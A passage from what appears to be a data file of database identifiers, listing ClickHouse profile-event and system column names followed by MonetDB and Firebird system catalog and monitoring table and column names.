+ProfileEvent_S3QueueSetFileFailedMicroseconds +ProfileEvent_S3QueueSetFileProcessedMicroseconds +ProfileEvent_S3QueueSetFileProcessingMicroseconds +ProfileEvent_S3ReadMicroseconds +ProfileEvent_S3ReadRequestAttempts +ProfileEvent_S3ReadRequestRetryableErrors +ProfileEvent_S3ReadRequestsCount +ProfileEvent_S3ReadRequestsErrors +ProfileEvent_S3ReadRequestsRedirects +ProfileEvent_S3ReadRequestsThrottling +ProfileEvent_S3UploadPart +ProfileEvent_S3UploadPartCopy +ProfileEvent_S3WriteMicroseconds +ProfileEvent_S3WriteRequestAttempts +ProfileEvent_S3WriteRequestRetryableErrors +ProfileEvent_S3WriteRequestsCount +ProfileEvent_S3WriteRequestsErrors +ProfileEvent_S3WriteRequestsRedirects +ProfileEvent_S3WriteRequestsThrottling +ProfileEvent_ScalarSubqueriesCacheMiss +ProfileEvent_ScalarSubqueriesGlobalCacheHit +ProfileEvent_ScalarSubqueriesLocalCacheHit +ProfileEvent_SchedulerIOReadBytes +ProfileEvent_SchedulerIOReadRequests +ProfileEvent_SchedulerIOReadWaitMicroseconds +ProfileEvent_SchedulerIOWriteBytes +ProfileEvent_SchedulerIOWriteRequests +ProfileEvent_SchedulerIOWriteWaitMicroseconds +ProfileEvent_SchemaInferenceCacheEvictions +ProfileEvent_SchemaInferenceCacheHits +ProfileEvent_SchemaInferenceCacheInvalidations +ProfileEvent_SchemaInferenceCacheMisses +ProfileEvent_SchemaInferenceCacheNumRowsHits +ProfileEvent_SchemaInferenceCacheNumRowsMisses +ProfileEvent_SchemaInferenceCacheSchemaHits +ProfileEvent_SchemaInferenceCacheSchemaMisses +ProfileEvent_Seek +ProfileEvent_SelectedBytes +ProfileEvent_SelectedMarks +ProfileEvent_SelectedMarksTotal +ProfileEvent_SelectedParts +ProfileEvent_SelectedPartsTotal +ProfileEvent_SelectedRanges +ProfileEvent_SelectedRows +ProfileEvent_SelectQueriesWithPrimaryKeyUsage +ProfileEvent_SelectQueriesWithSubqueries +ProfileEvent_SelectQuery +ProfileEvent_SelectQueryTimeMicroseconds +ProfileEvent_ServerStartupMilliseconds +ProfileEvent_SharedDatabaseCatalogFailedToApplyState +ProfileEvent_SharedDatabaseCatalogStateApplicationMicroseconds +ProfileEvent_SharedMergeTreeCondemnedPartsKillRequest +ProfileEvent_SharedMergeTreeCondemnedPartsLockConfict +ProfileEvent_SharedMergeTreeCondemnedPartsRemoved +ProfileEvent_SharedMergeTreeDataPartsFetchAttempt +ProfileEvent_SharedMergeTreeDataPartsFetchFromPeer +ProfileEvent_SharedMergeTreeDataPartsFetchFromPeerMicroseconds +ProfileEvent_SharedMergeTreeDataPartsFetchFromS3 +ProfileEvent_SharedMergeTreeGetPartsBatchToLoadMicroseconds +ProfileEvent_SharedMergeTreeHandleBlockingParts +ProfileEvent_SharedMergeTreeHandleBlockingPartsMicroseconds +ProfileEvent_SharedMergeTreeHandleFetchPartsMicroseconds +ProfileEvent_SharedMergeTreeHandleOutdatedParts +ProfileEvent_SharedMergeTreeHandleOutdatedPartsMicroseconds +ProfileEvent_SharedMergeTreeLoadChecksumAndIndexesMicroseconds +ProfileEvent_SharedMergeTreeMergeMutationAssignmentAttempt +ProfileEvent_SharedMergeTreeMergeMutationAssignmentFailedWithConflict +ProfileEvent_SharedMergeTreeMergeMutationAssignmentFailedWithNothingToDo +ProfileEvent_SharedMergeTreeMergeMutationAssignmentSuccessful +ProfileEvent_SharedMergeTreeMergePartsMovedToCondemned +ProfileEvent_SharedMergeTreeMergePartsMovedToOudated +ProfileEvent_SharedMergeTreeMergeSelectingTaskMicroseconds +ProfileEvent_SharedMergeTreeMetadataCacheHintLoadedFromCache +ProfileEvent_SharedMergeTreeOptimizeAsync +ProfileEvent_SharedMergeTreeOptimizeSync +ProfileEvent_SharedMergeTreeOutdatedPartsConfirmationInvocations +ProfileEvent_SharedMergeTreeOutdatedPartsConfirmationRequest +ProfileEvent_SharedMergeTreeOutdatedPartsHTTPRequest +ProfileEvent_SharedMergeTreeOutdatedPartsHTTPResponse +ProfileEvent_SharedMergeTreePartsKillerMicroseconds +ProfileEvent_SharedMergeTreePartsKillerParts +ProfileEvent_SharedMergeTreePartsKillerPartsMicroseconds +ProfileEvent_SharedMergeTreePartsKillerRuns +ProfileEvent_SharedMergeTreeScheduleDataProcessingJob +ProfileEvent_SharedMergeTreeScheduleDataProcessingJobMicroseconds +ProfileEvent_SharedMergeTreeScheduleDataProcessingJobNothingToScheduled +ProfileEvent_SharedMergeTreeTryUpdateDiskMetadataCacheForPartMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdateMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdates +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesByLeader +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesForMergesOrStatus +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromPeer +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromPeerMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromZooKeeper +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromZooKeeperMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesLeaderFailedElection +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesLeaderSuccessfulElection +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesPeerNotFound +ProfileEvent_SharedPartsLockHoldMicroseconds +ProfileEvent_SharedPartsLocks +ProfileEvent_SharedPartsLockWaitMicroseconds +ProfileEvent_SleepFunctionCalls +ProfileEvent_SleepFunctionElapsedMicroseconds +ProfileEvent_SleepFunctionMicroseconds +ProfileEvent_SlowRead +ProfileEvent_SoftPageFaults +ProfileEvent_StorageBufferErrorOnFlush +ProfileEvent_StorageBufferFlush +ProfileEvent_StorageBufferLayerLockReadersWaitMilliseconds +ProfileEvent_StorageBufferLayerLockWritersWaitMilliseconds +ProfileEvent_StorageBufferPassedAllMinThresholds +ProfileEvent_StorageBufferPassedBytesFlushThreshold +ProfileEvent_StorageBufferPassedBytesMaxThreshold +ProfileEvent_StorageBufferPassedRowsFlushThreshold +ProfileEvent_StorageBufferPassedRowsMaxThreshold +ProfileEvent_StorageBufferPassedTimeFlushThreshold +ProfileEvent_StorageBufferPassedTimeMaxThreshold +ProfileEvent_StorageConnectionsCreated +ProfileEvent_StorageConnectionsElapsedMicroseconds +ProfileEvent_StorageConnectionsErrors +ProfileEvent_StorageConnectionsExpired +ProfileEvent_StorageConnectionsPreserved +ProfileEvent_StorageConnectionsReset +ProfileEvent_StorageConnectionsReused +ProfileEvent_SummingSortedMilliseconds +ProfileEvent_SuspendSendingQueryToShard +ProfileEvent_SynchronousReadWaitMicroseconds +ProfileEvent_SynchronousRemoteReadWaitMicroseconds +ProfileEvent_SystemLogErrorOnFlush +ProfileEvent_SystemTimeMicroseconds +ProfileEvent_TableFunctionExecute +ProfileEvent_TextIndexDictionaryBlockCacheHits +ProfileEvent_TextIndexDictionaryBlockCacheMisses +ProfileEvent_TextIndexDiscardHint +ProfileEvent_TextIndexHeaderCacheHits +ProfileEvent_TextIndexHeaderCacheMisses +ProfileEvent_TextIndexPostingsCacheHits +ProfileEvent_TextIndexPostingsCacheMisses +ProfileEvent_TextIndexReadDictionaryBlocks +ProfileEvent_TextIndexReaderTotalMicroseconds +ProfileEvent_TextIndexReadGranulesMicroseconds +ProfileEvent_TextIndexReadPostings +ProfileEvent_TextIndexReadSparseIndexBlocks +ProfileEvent_TextIndexUsedEmbeddedPostings +ProfileEvent_TextIndexUseHint +ProfileEvent_ThreadPoolReaderPageCacheHit +ProfileEvent_ThreadPoolReaderPageCacheHitBytes +ProfileEvent_ThreadPoolReaderPageCacheHitElapsedMicroseconds +ProfileEvent_ThreadPoolReaderPageCacheMiss +ProfileEvent_ThreadPoolReaderPageCacheMissBytes +ProfileEvent_ThreadPoolReaderPageCacheMissElapsedMicroseconds +ProfileEvent_ThreadpoolReaderPrepareMicroseconds +ProfileEvent_ThreadpoolReaderReadBytes +ProfileEvent_ThreadpoolReaderSubmit +ProfileEvent_ThreadpoolReaderSubmitLookupInCacheMicroseconds +ProfileEvent_ThreadpoolReaderSubmitReadSynchronously +ProfileEvent_ThreadpoolReaderSubmitReadSynchronouslyBytes +ProfileEvent_ThreadpoolReaderSubmitReadSynchronouslyMicroseconds +ProfileEvent_ThreadpoolReaderTaskMicroseconds +ProfileEvent_ThrottlerSleepMicroseconds +ProfileEvent_TinyS3Clients +ProfileEvent_UncompressedCacheHits +ProfileEvent_UncompressedCacheMisses +ProfileEvent_UncompressedCacheWeightLost +ProfileEvent_USearchAddComputedDistances +ProfileEvent_USearchAddCount +ProfileEvent_USearchAddVisitedMembers +ProfileEvent_USearchSearchComputedDistances +ProfileEvent_USearchSearchCount +ProfileEvent_USearchSearchVisitedMembers +ProfileEvent_UserTimeMicroseconds +ProfileEvent_VectorSimilarityIndexCacheHits +ProfileEvent_VectorSimilarityIndexCacheMisses +ProfileEvent_VectorSimilarityIndexCacheWeightLost +ProfileEvent_VersionedCollapsingSortedMilliseconds +ProfileEvent_WaitMarksLoadMicroseconds +ProfileEvent_WaitPrefetchTaskMicroseconds +ProfileEvent_WriteBufferFromFileDescriptorWrite +ProfileEvent_WriteBufferFromFileDescriptorWriteBytes +ProfileEvent_WriteBufferFromFileDescriptorWriteFailed +ProfileEvent_WriteBufferFromHTTPBytes +ProfileEvent_WriteBufferFromHTTPRequestsSent +ProfileEvent_WriteBufferFromS3Bytes +ProfileEvent_WriteBufferFromS3Microseconds +ProfileEvent_WriteBufferFromS3RequestsErrors +ProfileEvent_WriteBufferFromS3WaitInflightLimitMicroseconds +ProfileEvent_ZooKeeperBytesReceived +ProfileEvent_ZooKeeperBytesSent +ProfileEvent_ZooKeeperCheck +ProfileEvent_ZooKeeperClose +ProfileEvent_ZooKeeperCreate +ProfileEvent_ZooKeeperExists +ProfileEvent_ZooKeeperGet +ProfileEvent_ZooKeeperGetACL +ProfileEvent_ZooKeeperHardwareExceptions +ProfileEvent_ZooKeeperInit +ProfileEvent_ZooKeeperList +ProfileEvent_ZooKeeperMulti +ProfileEvent_ZooKeeperMultiRead +ProfileEvent_ZooKeeperMultiWrite +ProfileEvent_ZooKeeperOtherExceptions +ProfileEvent_ZooKeeperReconfig +ProfileEvent_ZooKeeperRemove +ProfileEvent_ZooKeeperSet +ProfileEvent_ZooKeeperSync +ProfileEvent_ZooKeeperTransactions +ProfileEvent_ZooKeeperUserExceptions +ProfileEvent_ZooKeeperWaitMicroseconds +ProfileEvent_ZooKeeperWatchResponse +profile_name +progress +projection_parts +projection_parts_columns +projections +ptr +queries +query +query_cache +query_cache_usage +query_condition_cache +query_count +query_create_time +query_duration_ms +query_finish_time +query_id +query_inserts +query_kind +query_log +query_selects +query_start_time +query_start_time_microseconds +queue_cost +queue_length +queue_oldest_time +queue_size +quota_key +quota_limits +quota_name +quotas +quotas_usage +quotation_mark +quota_usage +radical +rdkafka_stat +read_bytes +read_disks +readonly +readonly_duration +readonly_start_time +read_rows +ready_seqno +reason +recovery_time +refcount +referenced_column_name +REFERENCED_COLUMN_NAME +referenced_table_name +REFERENCED_TABLE_NAME +referenced_table_schema +REFERENCED_TABLE_SCHEMA +references +referential_constraints +REFERENTIAL_CONSTRAINTS +regexp +regional_indicator +registration_time +remote +remote_data_paths +remote_path +removal_csn +removal_state +removal_tid +removal_tid_lock +remove_time +replica_is_active +replica_name +replica_num +replica_path +replicas +replicated_fetches +replicated_merge_tree_settings +replication_lag +replication_queue +required_quorum +resource +resources +result_bytes +result_part_name +result_part_path +result_rows +result_size +retry +returned_value +revision +rgi_emoji +rgi_emoji_flag_sequence +rgi_emoji_modifier_sequence +rgi_emoji_tag_sequence +rgi_emoji_zwj_sequence +rocksdb +role_grants +role_name +roles +rollback +row_policies +rows +rows_processed +rows_read +rows_written +rule_type +s3queue +s3_queue_settings +sampling_key +scheduled +scheduler +schedule_time +schema +schema_inference_cache +schema_inference_mode +schema_name +SCHEMA_NAME +schema_owner +SCHEMA_OWNER +schemata +SCHEMATA +script +script_extensions +script_line_number +script_query_number +secondary_indices_compressed_bytes +secondary_indices_marks_bytes +secondary_indices_uncompressed_bytes +segment_starter +select_filter +sentence_break +sentence_terminal +seq_in_index +SEQ_IN_INDEX +serialization_hint +serialization_kind +serial_number +server_settings +setting_name +settings +Settings +settings_changes +settings_profile_elements +settings_profiles +shard_name +shard_num +shard_weight +shared +short_name +signature_algo +simple_case_folding +simple_lowercase_mapping +simple_titlecase_mapping +simple_uppercase_mapping +size +size_in_bytes +slowdowns_count +slru_size_ratio +snapshot_id +soft_dotted +sorting_key +source +source_file +source_line +source_part_names +source_part_paths +source_replica +source_replica_hostname +source_replica_path +source_replica_port +sql_path +SQL_PATH +stack_trace +stale +start_time +state +statistics +STATISTICS +status +step_uniq_id +storage +storage_policies +storage_policy +subject +sub_part +SUB_PART +substitution +substreams +support +SUPPORT +supports_append +supports_deduplication +supports_parallel_formatting +supports_parallel_insert +supports_parallel_parsing +supports_projections +supports_random_access +supports_replication +supports_settings +supports_skipping_indices +supports_sort_order +supports_subsets_of_columns +supports_ttl +surname +symbol +symbol_demangled +symbols +syntax +system +system_vruntime +table +table_catalog +TABLE_CATALOG +table_collation +TABLE_COLLATION +table_comment +TABLE_COMMENT +table_dropped_time +table_engines +table_functions +table_name +TABLE_NAME +table_rows +TABLE_ROWS +tables +TABLES +table_schema +TABLE_SCHEMA +table_type +TABLE_TYPE +table_uuid +tag +target_disk_name +target_disk_path +task_name +task_uuid +terminal_punctuation +text_log +thread_id +thread_ids +thread_name +throttling_us +throughput +tier +timestamp_ns +time_zone +time_zones +title +titlecase_mapping +to_detached +tokens +to_shard +total_bytes +total_bytes_uncompressed +total_marks +total_replicas +total_rows +total_rows_approx +total_size +total_size_bytes_compressed +total_size_bytes_uncompressed +total_size_marks +total_space +trace +trace_log +trace_type +trail_canonical_combining_class +transaction_id +type +type_full +unbound +uncompressed_hash_of_compressed_files +uncompressed_size +unicode +unified_ideograph +unique_constraint_catalog +UNIQUE_CONSTRAINT_CATALOG +unique_constraint_name +UNIQUE_CONSTRAINT_NAME +unique_constraint_schema +UNIQUE_CONSTRAINT_SCHEMA +unit +unreserved_space +unsynced_after_recovery +update_rule +UPDATE_RULE +update_time +uppercase +uppercase_mapping +URI +used_aggregate_function_combinators +used_aggregate_functions +used_database_engines +used_data_type_families +used_dictionaries +used_executable_user_defined_functions +used_formats +used_functions +used_privileges +used_row_policies +used_sql_user_defined_functions +used_storages +used_table_functions +user +user_directories +user_id +user_name +user_processes +users +uuid +value +value1 +value10 +value2 +value3 +value4 +value5 +value6 +value7 +value8 +value9 +variation_selector +version +vertical_orientation +view +view_definition +VIEW_DEFINITION +view_refreshes +views +VIEWS +visible +volume_name +volume_priority +volume_type +vruntime +waiters +warnings +weight +white_space +with_admin_option +word +word_break +workloads +writability +write_cache_per_user_id_directory +write_disks +written_bytes +written_rows +xdigit +xid_continue +xid_start +zero +zeros +zeros_mt +zookeeper_exception +zookeeper_name +zookeeper_path + +[MonetDB] +access +action +action_id +action_name +address +a_nme +arg_id +arg_name +arg_nr +args +arguments +atomwidth +auth_id +auth_name +authorization +auths +auth_srid +cache +cacheinc +col +column +column_id +column_name +_columns +columns +columnsize +comment +comments +commit_action +compinfo +component +con +condition +constraint_name +coord_dimension +count +cpu +created +cycle +db_user_info +def +default +default_role +default_schema +defined +delete_action +delete_action_id +dependencies +dependencies_vw +dependency_args_on_types +dependency_columns_on_functions +dependency_columns_on_indexes +dependency_columns_on_keys +dependency_columns_on_procedures +dependency_columns_on_triggers +dependency_columns_on_types +dependency_columns_on_views +dependency_functions_on_functions +dependency_functions_on_procedures +dependency_functions_on_triggers +dependency_functions_on_types +dependency_functions_on_views +dependency_keys_on_foreignkeys +dependency_owners_on_schemas +dependency_schemas_on_users +dependency_tables_on_foreignkeys +dependency_tables_on_functions +dependency_tables_on_indexes +dependency_tables_on_procedures +dependency_tables_on_triggers +dependency_tables_on_views +dependency_type_id +dependency_type_name +dependency_types +dependency_views_on_functions +dependency_views_on_procedures +dependency_views_on_views +depend_id +depend_type +describe_column_defaults +describe_comments +describe_constraints +describe_foreign_keys +describe_functions +describe_indices +describe_partition_tables +describe_privileges +describe_sequences +describe_tables +describe_triggers +describe_user_defined_types +digits +distinct +dump_add_schemas_to_users +dump_column_defaults +dump_column_grants +dump_comments +dump_create_roles +dump_create_schemas +dump_create_users +dump_foreign_keys +dump_function_grants +dump_functions +dump_grant_user_privileges +dump_indices +dump_partition_tables +dump_sequences +dump_start_sequences +dump_statements +dump_table_constraint_type +dump_table_grants +dump_tables +dump_triggers +dump_user_defined_types +eclass +environment +event +expression +ext_tpe +f_geometry_column +finished +fk +fk_c +fkey_actions +fkeys +fk_id +fk_name +fk_s +fk_t +fk_table_id +fldid +footprint +foreign_schema_name +foreign_table_name +fqn +f_table_catalog +f_table_name +f_table_schema +fullname +fully_qualified_functions +fun +func +func_id +function +function_id +function_languages +function_name +functions +function_schema_id +function_type +function_type_id +function_type_keyword +function_type_name +function_types +geometry_columns +g_nme +grantable +grantee +grantor +hashes +hashsize +heapsize +id +idle +ids +idxs +imprints +imprintsize +inc +increment +ind +index_id +index_name +index_type +index_type_id +index_type_name +index_types +inout +input +io +isacolumn +key_col_nr +key_id +key_name +keys +key_table_id +key_type +key_type_id +key_type_name +key_types +keyword +keywords +language +language_id +language_keyword +language_name +location +login +login_id +log_level +ma +mal +malfunctions +maximum +max_memory +maxval +maxvalue +max_workers +maxworkers +memorylimit +merge_schema_name +merge_table_name +message +mi +minimum +minval +minvalue +mod +mode +module +m_sch +m_tbl +name +new_name +nils +nme +nomax +nomin +nr +null +number +o +objects +obj_id +obj_type +old_name +on_delete +o_nme +on_update +opt +optimize +optimizer +optimizers +orderidx +orderidxsize +orientation +o_tpe +owner +owner_name +partition_id +partition_schema_name +partition_table_name +password +phash +pipe +pk_c +pk_s +pk_t +plan +p_nme +prepared_statements +prepared_statements_args +primary_schema_name +primary_table_name +privilege_code_id +privilege_code_name +privilege_codes +privileges +procedure_id +procedure_name +procedure_schema_id +procedure_type +proj4text +p_sch +p_tbl +pvalues +query +querylog_calls +querylog_catalog +querylog_history +querytimeout +queue +radix +range_partitions +reference +rejects +rem +remark +revsorted +rkey +rma +rmi +role_id +roles +rowcount +rowid +rs +run +s +scale +sch +schema +schema_id +schema_name +schema_path +schemas +schemastorage +semantics +seq +seqname +seq_nr +sequence_name +sequences +sessionid +sessions +sessiontimeout +ship +side_effect +signature +sorted +spatial_ref_sys +sqlname +sql_tpe +srid +srtext +start +started +statement +statementid +statistics +status +stmt +stop +storage +storagemodel +storagemodelinput +storages +sub +sys_table +system +systemname +tab +table +table_id +table_name +table_partitions +_tables +tables +table_schema_id +tablestorage +tablestoragemodel +table_type_id +table_type_name +table_types +tag +tbl +temporary +ticks +time +tpe +tracelog +tri +trigger_id +trigger_name +triggers +trigger_table_id +tuples +typ +type +type_digits +type_id +type_name +types +type_scale +typewidth +unique +update_action +update_action_id +used_by_id +used_by_name +used_by_obj_type +used_in_function_id +used_in_function_name +used_in_function_schema_id +used_in_function_type +user_name +username +user_role +users +value +value_partitions +vararg +var_name +varres +var_values +view1_id +view1_name +view1_schema_id +view2_id +view2_name +view2_schema_id +view_id +view_name +view_schema_id +width +with_nulls +workerlimit + +[Firebird] +ID +MON$ATTACHMENT_ID +MON$ATTACHMENT_NAME +MON$ATTACHMENTS +MON$AUTH_METHOD +MON$AUTO_COMMIT +MON$AUTO_UNDO +MON$BACKUP_STATE +MON$BACKVERSION_READS +MON$CALLER_ID +MON$CALL_ID +MON$CALL_STACK +MON$CHARACTER_SET_ID +MON$CLIENT_VERSION +MON$COMPILED_STATEMENT_ID +MON$COMPILED_STATEMENTS +MON$CONTEXT_VARIABLES +MON$CREATION_DATE +MON$CRYPT_PAGE +MON$CRYPT_STATE +MON$DATABASE +MON$DATABASE_NAME +MON$EXPLAINED_PLAN +MON$FILE_ID +MON$FORCED_WRITES +MON$FRAGMENT_READS +MON$GARBAGE_COLLECTION +MON$GUID +MON$IDLE_TIMEOUT +MON$IDLE_TIMER +MON$IO_STATS +MON$ISOLATION_MODE +MON$LOCK_TIMEOUT +MON$MAX_MEMORY_ALLOCATED +MON$MAX_MEMORY_USED +MON$MEMORY_ALLOCATED +MON$MEMORY_USAGE +MON$MEMORY_USED +MON$NEXT_ATTACHMENT +MON$NEXT_STATEMENT +MON$NEXT_TRANSACTION +MON$OBJECT_NAME +MON$OBJECT_TYPE +MON$ODS_MAJOR +MON$ODS_MINOR +MON$OLDEST_ACTIVE +MON$OLDEST_SNAPSHOT +MON$OLDEST_TRANSACTION +MON$OWNER +MON$PACKAGE_NAME +MON$PAGE_BUFFERS +MON$PAGE_FETCHES +MON$PAGE_MARKS +MON$PAGE_READS +MON$PAGES +MON$PAGE_SIZE +MON$PAGE_WRITES +MON$PARALLEL_WORKERS +MON$READ_ONLY +MON$RECORD_BACKOUTS +MON$RECORD_CONFLICTS +MON$RECORD_DELETES +MON$RECORD_EXPUNGES +MON$RECORD_IDX_READS +MON$RECORD_IMGC +MON$RECORD_INSERTS +MON$RECORD_LOCKS +MON$RECORD_PURGES +MON$RECORD_RPT_READS +MON$RECORD_SEQ_READS +MON$RECORD_STAT_ID +MON$RECORD_STATS +MON$RECORD_UPDATES +MON$RECORD_WAITS +MON$REMOTE_ADDRESS +MON$REMOTE_HOST +MON$REMOTE_OS_USER +MON$REMOTE_PID +MON$REMOTE_PROCESS +MON$REMOTE_PROTOCOL +MON$REMOTE_VERSION +MON$REPLICA_MODE +MON$RESERVE_SPACE +MON$ROLE +MON$SEC_DATABASE +MON$SERVER_PID +MON$SESSION_TIMEZONE +MON$SHUTDOWN_MODE +MON$SOURCE_COLUMN +MON$SOURCE_LINE +MON$SQL_DIALECT +MON$SQL_TEXT +MON$STATE +MON$STATEMENT_ID +MON$STATEMENTS +MON$STATEMENT_TIMEOUT +MON$STATEMENT_TIMER +MON$STAT_GROUP +MON$STAT_ID +MON$SWEEP_INTERVAL +MON$SYSTEM_FLAG +MON$TABLE_NAME +MON$TABLE_STATS +MON$TIMESTAMP +MON$TOP_TRANSACTION +MON$TRANSACTION_ID +MON$TRANSACTIONS +MON$USER +MON$VARIABLE_NAME +MON$VARIABLE_VALUE +MON$WIRE_COMPRESSED +MON$WIRE_CRYPT_PLUGIN +MON$WIRE_ENCRYPTED +NAME +RDB$ACL +RDB$ACTIVE_FLAG +RDB$ARGUMENT_MECHANISM +RDB$ARGUMENT_NAME +RDB$ARGUMENT_POSITION +RDB$AUTH_MAPPING +RDB$AUTO_ENABLE +RDB$BACKUP_HISTORY +RDB$BACKUP_ID +RDB$BACKUP_LEVEL +RDB$BASE_COLLATION_NAME +RDB$BASE_FIELD +RDB$BYTES_PER_CHARACTER +RDB$CHARACTER_LENGTH +RDB$CHARACTER_SET_ID +RDB$CHARACTER_SET_NAME +RDB$CHARACTER_SETS +RDB$CHECK_CONSTRAINTS +RDB$COLLATION_ATTRIBUTES +RDB$COLLATION_ID +RDB$COLLATION_NAME +RDB$COLLATIONS +RDB$COMPLEX_NAME +RDB$COMPUTED_BLR +RDB$COMPUTED_SOURCE +RDB$CONDITION_BLR +RDB$CONDITION_SOURCE +RDB$CONFIG +RDB$CONFIG_DEFAULT +RDB$CONFIG_ID +RDB$CONFIG_IS_SET +RDB$CONFIG_NAME +RDB$CONFIG_SOURCE +RDB$CONFIG_VALUE +RDB$CONST_NAME_UQ +RDB$CONSTRAINT_NAME +RDB$CONSTRAINT_TYPE +RDB$CONTEXT_NAME +RDB$CONTEXT_TYPE +RDB$DATABASE +RDB$DB_CREATORS +RDB$DBKEY_LENGTH +RDB$DEBUG_INFO +RDB$DEFAULT_CLASS +RDB$DEFAULT_COLLATE_NAME +RDB$DEFAULT_SOURCE +RDB$DEFAULT_VALUE +RDB$DEFERRABLE +RDB$DELETE_RULE +RDB$DEPENDED_ON_NAME +RDB$DEPENDED_ON_TYPE +RDB$DEPENDENCIES +RDB$DEPENDENT_NAME +RDB$DEPENDENT_TYPE +RDB$DESCRIPTION +RDB$DESCRIPTOR +RDB$DETERMINISTIC_FLAG +RDB$DIMENSION +RDB$DIMENSIONS +RDB$EDIT_STRING +RDB$ENGINE_NAME +RDB$ENTRYPOINT +RDB$EXCEPTION_NAME +RDB$EXCEPTION_NUMBER +RDB$EXCEPTIONS +RDB$EXPRESSION_BLR +RDB$EXPRESSION_SOURCE +RDB$EXTERNAL_DESCRIPTION +RDB$EXTERNAL_FILE +RDB$EXTERNAL_LENGTH +RDB$EXTERNAL_SCALE +RDB$EXTERNAL_TYPE +RDB$FIELD_DIMENSIONS +RDB$FIELD_ID +RDB$FIELD_LENGTH +RDB$FIELD_NAME +RDB$FIELD_POSITION +RDB$FIELD_PRECISION +RDB$FIELDS +RDB$FIELD_SCALE +RDB$FIELD_SOURCE +RDB$FIELD_SUB_TYPE +RDB$FIELD_TYPE +RDB$FILE_FLAGS +RDB$FILE_LENGTH +RDB$FILE_NAME +RDB$FILE_PARTITIONS +RDB$FILE_P_OFFSET +RDB$FILES +RDB$FILE_SEQUENCE +RDB$FILE_START +RDB$FILTERS +RDB$FLAGS +RDB$FOREIGN_KEY +RDB$FORMAT +RDB$FORMATS +RDB$FORM_OF_USE +RDB$FUNCTION_ARGUMENTS +RDB$FUNCTION_BLR +RDB$FUNCTION_ID +RDB$FUNCTION_NAME +RDB$FUNCTIONS +RDB$FUNCTION_SOURCE +RDB$FUNCTION_TYPE +RDB$GENERATOR_ID +RDB$GENERATOR_INCREMENT +RDB$GENERATOR_NAME +RDB$GENERATORS +RDB$GRANT_OPTION +RDB$GRANTOR +RDB$GUID +RDB$IDENTITY_TYPE +RDB$INDEX_ID +RDB$INDEX_INACTIVE +RDB$INDEX_NAME +RDB$INDEX_SEGMENTS +RDB$INDEX_TYPE +RDB$INDICES +RDB$INITIALLY_DEFERRED +RDB$INITIAL_VALUE +RDB$INPUT_SUB_TYPE +RDB$KEYWORD_NAME +RDB$KEYWORD_RESERVED +RDB$KEYWORDS +RDB$LEGACY_FLAG +RDB$LINGER +RDB$LOG_FILES +RDB$LOWER_BOUND +RDB$MAP_DB +RDB$MAP_FROM +RDB$MAP_FROM_TYPE +RDB$MAP_NAME +RDB$MAP_PLUGIN +RDB$MAP_TO +RDB$MAP_TO_TYPE +RDB$MAP_USING +RDB$MATCH_OPTION +RDB$MECHANISM +RDB$MESSAGE +RDB$MESSAGE_NUMBER +RDB$MISSING_SOURCE +RDB$MISSING_VALUE +RDB$MODULE_NAME +RDB$NULL_FLAG +RDB$NUMBER_OF_CHARACTERS +RDB$OBJECT_TYPE +RDB$OUTPUT_SUB_TYPE +RDB$OWNER_NAME +RDB$PACKAGE_BODY_SOURCE +RDB$PACKAGE_HEADER_SOURCE +RDB$PACKAGE_NAME +RDB$PACKAGES +RDB$PAGE_NUMBER +RDB$PAGES +RDB$PAGE_SEQUENCE +RDB$PAGE_TYPE +RDB$PARAMETER_MECHANISM +RDB$PARAMETER_NAME +RDB$PARAMETER_NUMBER +RDB$PARAMETER_TYPE +RDB$PRIVATE_FLAG +RDB$PRIVILEGE +RDB$PROCEDURE_BLR +RDB$PROCEDURE_ID +RDB$PROCEDURE_INPUTS +RDB$PROCEDURE_NAME +RDB$PROCEDURE_OUTPUTS +RDB$PROCEDURE_PARAMETERS +RDB$PROCEDURES +RDB$PROCEDURE_SOURCE +RDB$PROCEDURE_TYPE +RDB$PUBLICATION_NAME +RDB$PUBLICATIONS +RDB$PUBLICATION_TABLES +RDB$QUERY_HEADER +RDB$QUERY_NAME +RDB$REF_CONSTRAINTS +RDB$RELATION_CONSTRAINTS +RDB$RELATION_FIELDS +RDB$RELATION_ID +RDB$RELATION_NAME +RDB$RELATIONS +RDB$RELATION_TYPE +RDB$RETURN_ARGUMENT +RDB$ROLE_NAME +RDB$ROLES +RDB$RUNTIME +RDB$SCN +RDB$SECURITY_CLASS +RDB$SECURITY_CLASSES +RDB$SEGMENT_COUNT +RDB$SEGMENT_LENGTH +RDB$SHADOW_NUMBER +RDB$SPECIFIC_ATTRIBUTES +RDB$SQL_SECURITY +RDB$STATISTICS +RDB$SYSTEM_FLAG +RDB$SYSTEM_PRIVILEGES +RDB$TABLE_NAME +RDB$TIMESTAMP +RDB$TIME_ZONE_ID +RDB$TIME_ZONE_NAME +RDB$TIME_ZONES +RDB$TRANSACTION_DESCRIPTION +RDB$TRANSACTION_ID +RDB$TRANSACTIONS +RDB$TRANSACTION_STATE +RDB$TRIGGER_BLR +RDB$TRIGGER_INACTIVE +RDB$TRIGGER_MESSAGES +RDB$TRIGGER_NAME +RDB$TRIGGERS +RDB$TRIGGER_SEQUENCE +RDB$TRIGGER_SOURCE +RDB$TRIGGER_TYPE +RDB$TYPE +RDB$TYPE_NAME +RDB$TYPES +RDB$UNIQUE_FLAG +RDB$UPDATE_FLAG +RDB$UPDATE_RULE +RDB$UPPER_BOUND +RDB$USER +RDB$USER_PRIVILEGES +RDB$USER_TYPE +RDB$VALIDATION_BLR +RDB$VALIDATION_SOURCE +RDB$VALID_BLR +RDB$VALID_BODY_FLAG +RDB$VIEW_BLR +RDB$VIEW_CONTEXT +RDB$VIEW_NAME +RDB$VIEW_RELATIONS +RDB$VIEW_SOURCE +SEC$ACTIVE +SEC$ADMIN +SEC$DB_CREATORS +SEC$DESCRIPTION +SEC$FIRST_NAME +SEC$GLOBAL_AUTH_MAPPING +SEC$KEY +SEC$LAST_NAME +SEC$MAP_DB +SEC$MAP_FROM +SEC$MAP_FROM_TYPE +SEC$MAP_NAME +SEC$MAP_PLUGIN 